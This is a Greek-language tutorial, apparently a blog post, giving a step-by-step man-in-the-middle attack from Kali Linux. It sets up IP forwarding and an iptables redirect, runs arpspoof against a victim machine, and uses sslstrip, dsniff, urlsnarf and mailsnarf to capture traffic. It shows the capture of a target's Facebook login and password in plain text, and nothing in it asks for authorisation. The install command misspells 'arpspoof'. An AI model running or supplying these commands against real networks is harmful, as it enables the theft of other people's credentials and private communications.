Σύμφωνα με την Wikipedia, στην κρυπτογραφία και την ασφάλεια του υπολογιστή, μια επίθεση man-in-the-middle (MITM) είναι μια επίθεση όπου ο εισβολέας μεταδίδει κρυφά και πιθανώς μεταβάλλει την επικοινωνία μεταξύ δύο συσκευών που πιστεύουν ότι επικοινωνούν απευθείας μεταξύ τους.
Μια επίθεση MITM επιτρέπει σε έναν κακόβουλο χρήστη να παρακολουθεί, να στέλνει και να λαμβάνει δεδομένα που προορίζονται για κάποιον άλλο ή δεν προορίζονται να σταλούν καθόλου.
Σε αυτόν τον οδηγό θα εργαστούμε στο Kali Linux καθώς και τα προεγκατεστημένα εργαλεία που θα χρησιμοποιήσουμε είναι τα arpspoof, sslstrip, dsniff, iptables κ.λ.π.
Εάν θέλετε να χρησιμοποιήσετε κάποιες άλλες διανομές Linux, τότε μπορείτε εύκολα να εγκαταστήσετε αυτά τα εργαλεία πληκτρολογώντας τις ακόλουθες εντολές:
Εντολή: sudo apt-get install aprspoof && sudo apt-get install sslstrip && sudo apt-get install dsniff
Λεπτομέρειες:
- Victim’s Machine – Windows XP (192.168.179.147)
- Attacker’s Machine – Kali Linux (192.168.179.146)
- Διεύθυνση IP δρομολογητή – Gateway (192.168.179.2)
Το πρώτο βήμα είναι να ρυθμίσουμε τον θύτη υπολογιστή μας, ώστε να επιτρέπει την προώθηση πακέτων, κάτι που θα του επιτρέπει να μιμείται τον εαυτό του ως δρομολογητή. Για να ξεγελάσεις το μηχάνημα του θύματος να σκέφτεται ότι συνδέεται με το δρομολογητή, αλλά πραγματικά θα συνδέεται ξανά με το μηχάνημα που επιτίθεται.
Για την προώθηση πακέτων, θα πρέπει να ανοίξετε ένα τερματικό και να πληκτρολογήσετε ” echo 1> /proc/sys/net/ipv4/ip_forward“.
Αυτό θα μας επιτρέψει να προωθήσουμε την κυκλοφορία από το μηχάνημα του επιτιθέμενου στο μηχάνημα του θύματος. Μπορείτε επίσης να χρησιμοποιήσετε την παρακάτω εντολή για να ενεργοποιήσετε την προώθηση των πακέτων.
Εντολή: sysctl -w net.ipv4.ip_forward = 1
Εάν το μηχάνημά σας δεν προωθεί τα πακέτα, η σύνδεση στο Διαδίκτυο του χρήστη θα παγώσει και επομένως η επίθεση δεν θα ολοκληρωθεί.
Τώρα στο δεύτερο βήμα, πρέπει να διαμορφώσουμε τα iptables με τέτοιο τρόπο, ώστε να μπορούν να ανακατευθύνουν όλη την κίνηση από τη θύρα 80 στη θύρα 8080.
Εντολή: iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
Η επόμενη κίνηση είναι να βρείτε την προεπιλεγμένη πύλη του δρομολογητή, την οποία μπορείτε εύκολα να ανακαλύψετε πληκτρολογώντας “route -n” στο τερματικό σας.
Έτσι, σε αυτήν την περίπτωση, η προεπιλεγμένη διεύθυνση είναι η “192.168.179.2“.
Για να βρείτε τη διεύθυνση IP του προορισμού σας, μπορείτε να χρησιμοποιήσετε οποιαδήποτε από τις μεθόδους κοινωνικής μηχανικής ή μπορείτε να τρέξετε την εντολή Nmap για να μάθετε όλους τους live κεντρικούς υπολογιστές στο δίκτυό σας πληκτρολογώντας “nmap -sP 192.168.179.1/24“.
Τώρα το επόμενο βήμα είναι να ρυθμίσετε το arpspoof μεταξύ του θύματος και του θύτη.
Το Arpspoof είναι ένα βοηθητικό πρόγραμμα γραμμής εντολών, που σας επιτρέπει να παρακολουθείτε πακέτα σε ένα εναλλασσόμενο δίκτυο LAN. Είναι ένας εξαιρετικά αποτελεσματικός τρόπος για sniffing της κίνησης σε ένα switch.
Σύνταξη: arpspoof -i [Interface Name] -t [Victim’s IP] -r [Router’s IP]
Έτσι στην περίπτωσή μας,
- -i = eth0
- -t = 192.168.179.147
- -r = 192.168.179.2
Έτσι, η τελική εντολή θα είναι:
Εντολή: arpspoof -i eth0 -t 192.168.179.147 -r 192.168.179.2
Η παραπάνω διαδικασία θα παρακολουθεί τη ροή των πακέτων από το θύμα στον δρομολογητή. Τώρα για να συλλάβετε τα πακέτα HTTP, μπορείτε να χρησιμοποιήσετε το εργαλείο Ettercap που είναι ένα από τα πιο δημοφιλή εργαλεία sniffing.Όμως όλοι γνωρίζετε ότι πάνω από το 70% των ιστότοπων έχουν τώρα HTTPS, οπότε για να κάνουμε sniffing σε πακέτα HTTPS, θα χρησιμοποιήσουμε το SSLSTRIP.
Το SSLStrip αναζητεί συνδέσμους HTTPS και ανακατευθύνσεις. Στη συνέχεια αντιστοιχίστε αυτά τα links ή με όμοια ή με τις άλλες ίδιες συνδέσεις HTTP ή συνδέσμους HTTPS που μοιάζουν. Για να ξεκινήσετε τη διαδικασία sslstrip, η εντολή είναι “sslstrip -l 8080“.
Όταν το μηχάνημα του θύματος επισκέπτεται έναν ιστότοπο, όλη η επισκεψιμότητα https θα προωθείται στο μηχάνημα που κάνει την επίθεση. Στην περίπτωσή μας, προσπαθούμε να αποκτήσουμε πρόσβαση στο https://facebook.com και μόλις εισάγετε τις πληροφορίες σύνδεσης και τον κωδικό πρόσβασης, ένα αρχείο sslstrip.log θα αποθηκευτεί στον αρχικό σας κατάλογο του μηχανήματος Kali Linux.
Όπως μπορείτε να δείτε, συλλάβαμε πακέτα HTTPS σε μορφή απλού κειμένου που συμπεριλαμβάνει ένα email σύνδεσης και έναν κωδικό πρόσβασης του λογαριασμού facebook του στόχου μας.
Τώρα, αν θέλετε να συλλάβετε περισσότερα δεδομένα ορισμένων άλλων πρωτοκόλλων όπως FTP, HTTP, SNMP, POP, LDAP κ.λ.π., θα χρησιμοποιήσετε το Dsniff Tool, το οποίο είναι επίσης προεγκατεστημένο στο Kali Linux.
Για να χρησιμοποιήσετε το Dsniff, ανοίξτε ένα νέο τερματικό και πληκτρολογήστε “dsniff -i eth0“.
Για να συλλάβετε μόνο τις πληροφορίες της διεύθυνσης URL, μπορείτε να χρησιμοποιήσετε την εντολή “urlsnarf -i eth0“.
Για να συλλάβετε την κυκλοφορία της αλληλογραφίας SMTP, μπορείτε να χρησιμοποιήσετε την εντολή ” mailsnarf -i eth0“.
Μόλις τελειώσετε με την επίθεσή σας, θυμηθείτε να απενεργοποιήσετε την προώθηση πακέτων στο σύστημά σας, εκτελώντας ξανά την παρακάτω εντολή σε ένα τερματικό:
Εντολή: sysctl -w net.ipv4.ip_forward = 0